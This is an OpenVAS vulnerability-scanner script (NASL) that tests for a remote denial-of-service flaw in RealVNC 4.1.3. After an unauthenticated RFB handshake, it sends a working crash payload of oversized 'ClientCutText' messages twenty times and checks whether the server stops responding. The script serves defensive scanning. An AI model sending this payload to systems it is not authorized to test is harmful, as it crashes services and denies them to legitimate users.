RealVNC 4.1.3 'ClientCutText' Message Remote Denial of Service Vulnerability

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_RealVNC_39895.nasl 5373 2017-02-20 16:27:48Z teissa $
#
# RealVNC 4.1.3 'ClientCutText' Message Remote Denial of Service Vulnerability
#
# Authors:
# Michael Meyer <[email protected]>
#
# Copyright:
# Copyright (c) 2010 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_summary = "RealVNC Viewer is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to crash the affected application,
denying service to legitimate users.

RealVNC 4.1.3 is vulnerable; other versions may also be affected.";


if (description)
{
 script_id(100622);
 script_version("$Revision: 5373 $");
 script_tag(name:"last_modification", value:"$Date: 2017-02-20 17:27:48 +0100 (Mon, 20 Feb 2017) $");
 script_tag(name:"creation_date", value:"2010-05-04 19:30:07 +0200 (Tue, 04 May 2010)");
 script_bugtraq_id(39895);
 script_tag(name:"cvss_base", value:"5.0");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
 script_name("RealVNC 4.1.3 'ClientCutText' Message Remote Denial of Service Vulnerability");

 script_xref(name : "URL" , value : "http://www.securityfocus.com/bid/39895");
 script_xref(name : "URL" , value : "http://www.realvnc.com");

 script_tag(name:"qod_type", value:"remote_vul");
 script_category(ACT_DENIAL);
 script_family("Denial of Service");
 script_copyright("This script is Copyright (C) 2010 Greenbone Networks GmbH");
 script_dependencies("vnc.nasl");
 script_require_ports("Services/vnc", 5900);
 script_tag(name : "summary" , value : tag_summary);
 exit(0);
}

if(safe_checks())exit(0);

port = get_kb_item("Services/vnc");
if(!port)port = 5900;
if(!get_port_state(port)) exit(0);

soc = open_sock_tcp(port);
if(!soc)exit(0);

buf = recv(socket:soc, length:8192);

if(buf == NULL || "RFB" >!< buf) {
  close(soc);
  exit(0);
}

send(socket:soc, data:buf);
buf = recv(socket:soc, length:8192);

if(buf == NULL) {
  close(soc);
  exit(0);
}  

send(socket:soc, data:raw_string(0x01));
buf = recv(socket:soc, length:8192);

if(strlen(buf) == 4 && 
   ord(buf[0]) == 0 &&
   ord(buf[1]) == 0 &&
   ord(buf[2]) == 0 &&
   ord(buf[3]) == 0) { # SecurityResult OK. The server must be set to No Authentication for this to work

     send(socket:soc, data:raw_string(0x01));
     txt = crap(data:raw_string(0xAA),length:4000);
     exploit = raw_string(0x06,0x00,0x00,0x00) + txt;

     for(i=0;i<20;i++) {
       send(socket:soc, data:exploit);
     }  

     if(soc)close(soc);

     soc1 = open_sock_tcp(port);
     if(!soc1) {
       security_message(port:port);
       exit(0);
     } 

     buf = recv(socket:soc1, length:8192);
     if(buf == NULL) {
       security_message(port:port);
       exit(0);
     } else {
       close(soc1);
     }  

} else { 

    close(soc);
    exit(0);

}     

exit(0);